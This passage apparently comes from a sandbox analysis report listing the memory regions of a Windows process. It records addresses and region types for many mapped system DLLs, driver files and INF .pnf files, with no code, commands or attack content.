"c:\\windows\\system32\\advapi32res.dll") Region: id = 6480 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6481 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6482 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6483 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6484 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6485 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6486 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6487 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6488 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6489 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6490 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6491 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6492 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6493 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6494 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6495 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6496 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6497 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6498 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6499 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6500 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6501 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6502 start_va = 0x196ef3b0000 end_va = 0x196ef421fff monitored = 0 entry_point = 0x196ef407000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6503 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6504 start_va = 0x196ef3b0000 end_va = 0x196ef421fff monitored = 0 entry_point = 0x196ef407000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6505 start_va = 0x196ee9e0000 end_va = 0x196ee9f8fff monitored = 0 entry_point = 0x196ee9eb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 6506 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 6507 start_va = 0x196ee9e0000 end_va = 0x196ee9f8fff monitored = 0 entry_point = 0x196ee9eb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 6508 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 6509 start_va = 0x196ee9e0000 end_va = 0x196ee9e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6510 start_va = 0x196ef3b0000 end_va = 0x196ef598fff monitored = 0 entry_point = 0x196ef3b15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6511 start_va = 0x196ee9e0000 end_va = 0x196ee9e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6512 start_va = 0x196ef3b0000 end_va = 0x196ef598fff monitored = 0 entry_point = 0x196ef3b15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6513 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6514 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6515 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6516 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6517 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6518 start_va = 0x196ef3b0000 end_va = 0x196ef48ffff monitored = 0 entry_point = 0x196ef442eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6519 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6520 start_va = 0x196ef3b0000 end_va = 0x196ef48ffff monitored = 0 entry_point = 0x196ef442eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6521 start_va = 0x7ffa71650000 end_va = 0x7ffa7165dfff monitored = 0 entry_point = 0x7ffa71652b10 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 6610 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9e0000" filename = "" Region: id = 6611 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9f0000" filename = "" Region: id = 7079 start_va = 0x196eea00000 end_va = 0x196eea07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eea00000" filename = "" Region: id = 7168 start_va = 0x196ef3b0000 end_va = 0x196ef5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ef3b0000" filename = "" Region: id = 7173 start_va = 0x196eea10000 end_va = 0x196eea15fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eea10000" filename = "" Region: id = 7487 start_va = 0x196ef5b0000 end_va = 0x196ef5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 7488 start_va = 0x196ef5b0000 end_va = 0x196ef5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7496 start_va = 0x196ef5b0000 end_va = 0x196ef5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7503 start_va = 0x196eea20000 end_va = 0x196eea21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 7511 start_va = 0x196ef5b0000 end_va = 0x196ef5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7517 start_va = 0x196ef5b0000 end_va = 0x196ef5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7523 start_va = 0x196eea20000 end_va = 0x196eea22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volmgr.pnf" filename = "\\Windows\\INF\\volmgr.PNF" (normalized: "c:\\windows\\inf\\volmgr.pnf") Region: id = 7531 start_va = 0x196ef5b0000 end_va = 0x196ef5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7532 start_va = 0x196ef5b0000 end_va = 0x196ef5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7543 start_va = 0x196ef5b0000 end_va = 0x196ef5cbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 7553 start_va = 0x196eea20000 end_va = 0x196eea21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicdisplay.pnf" filename = "\\Windows\\INF\\basicdisplay.PNF" (normalized: "c:\\windows\\inf\\basicdisplay.pnf") Region: id = 7557 start_va = 0x196eea20000 end_va = 0x196eea21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicdisplay.pnf" filename = "\\Windows\\INF\\basicdisplay.PNF" (normalized: "c:\\windows\\inf\\basicdisplay.pnf") Region: id = 7560 start_va = 0x7ffa70f20000 end_va = 0x7ffa70f2afff monitored = 1 entry_point = 0x7ffa70f237b0 region_type = mapped_file name = "srwmi.dll" filename = "\\Windows\\System32\\srwmi.dll" (normalized: "c:\\windows\\system32\\srwmi.dll") Region: id = 7561 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7562 start_va = 0x7ffa63c80000 end_va = 0x7ffa63c95fff monitored = 0 entry_point = 0x7ffa63c8d4a0 region_type = mapped_file name = "srclient.dll" filename = "\\Windows\\System32\\srclient.dll" (normalized: "c:\\windows\\system32\\srclient.dll") Region: id = 7567 start_va = 0x196eea20000 end_va = 0x196eea21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 7568 start_va = 0x196ef5b0000 end_va = 0x196ef699fff monitored = 0 entry_point = 0x196ef5d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 7569 start_va = 0x196eea20000 end_va = 0x196eea2cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 7570 start_va = 0x196ef5b0000 end_va = 0x196ef5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 7571 start_va = 0x7ffa61e10000 end_va = 0x7ffa61e58fff monitored = 0 entry_point = 0x7ffa61e43470 region_type = mapped_file name = "spp.dll" filename = "\\Windows\\System32\\spp.dll" (normalized: "c:\\windows\\system32\\spp.dll") Region: id = 7572 start_va = 0x7ffa6e5e0000 end_va = 0x7ffa6e5f7fff monitored = 0 entry_point = 0x7ffa6e5e2000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 7573 start_va = 0x7ffa6e600000 end_va = 0x7ffa6e781fff monitored = 0 entry_point = 0x7ffa6e6182a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 7576 start_va = 0x196ef5b0000 end_va = 0x196ef5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 7582 start_va = 0x196ef5b0000 end_va = 0x196ef5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7591 start_va = 0x196ef5b0000 end_va = 0x196ef5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7594 start_va = 0x196eea20000 end_va = 0x196eea23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 7595 start_va = 0x196eea20000 end_va = 0x196eea23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 7601 start_va = 0x196eea20000 end_va = 0x196eea21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 7613 start_va = 0x196ef5b0000 end_va = 0x196ef5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7622 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7627 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 7633 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7651 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7662 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "compositebus.pnf" filename = "\\Windows\\INF\\compositebus.PNF" (normalized: "c:\\windows\\inf\\compositebus.pnf") Region: id = 7671 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7688 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 7694 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 7699 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\INF\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 7707 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\INF\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 7708 start_va = 0x7ffa61df0000 end_va = 0x7ffa61e07fff monitored = 0 entry_point = 0x7ffa61df16f0 region_type = mapped_file name = "sxproxy.dll" filename = "\\Windows\\System32\\sxproxy.dll" (normalized: "c:\\windows\\system32\\sxproxy.dll") Region: id = 7766 start_va = 0x196ef5b0000 end_va = 0x196ef6c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\INF\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 7770 start_va = 0x196ef5b0000 end_va = 0x196ef6c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\INF\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 7771 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7779 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7800 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kdnic.pnf" filename = "\\Windows\\INF\\kdnic.PNF" (normalized: "c:\\windows\\inf\\kdnic.pnf") Region: id = 7801 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volsnap.pnf" filename = "\\Windows\\INF\\volsnap.PNF" (normalized: "c:\\windows\\inf\\volsnap.pnf") Region: id = 7812 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volsnap.pnf" filename = "\\Windows\\INF\\volsnap.PNF" (normalized: "c:\\windows\\inf\\volsnap.pnf") Region: id = 7825 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hidinterrupt.pnf" filename = "\\Windows\\INF\\hidinterrupt.PNF" (normalized: "c:\\windows\\inf\\hidinterrupt.pnf") Region: id = 7835 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 7849 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 7857 start_va = 0x196ee9e0000 end_va = 0x196ee9f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 7864 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\INF\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 7876 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 7885 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 7908 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hal.pnf" filename = "\\Windows\\INF\\hal.PNF" (normalized: "c:\\windows\\inf\\hal.pnf") Region: id = 7937 start_va = 0x196ee9e0000 end_va = 0x196ee9e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pci.pnf" filename = "\\Windows\\INF\\pci.PNF" (normalized: "c:\\windows\\inf\\pci.pnf") Region: id = 7949 start_va = 0x196ee9e0000 end_va = 0x196ee9e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pci.pnf" filename = "\\Windows\\INF\\pci.PNF" (normalized: "c:\\windows\\inf\\pci.pnf") Region: id = 7974 start_va = 0x196ee9e0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7994 start_va = 0x196ee9e0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8016 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\INF\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 8039 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\INF\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 8079 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 8114 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8115 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8149 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8171 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8202 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\INF\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 8252 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicrender.pnf" filename = "\\Windows\\INF\\basicrender.PNF" (normalized: "c:\\windows\\inf\\basicrender.pnf") Region: id = 8264 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = 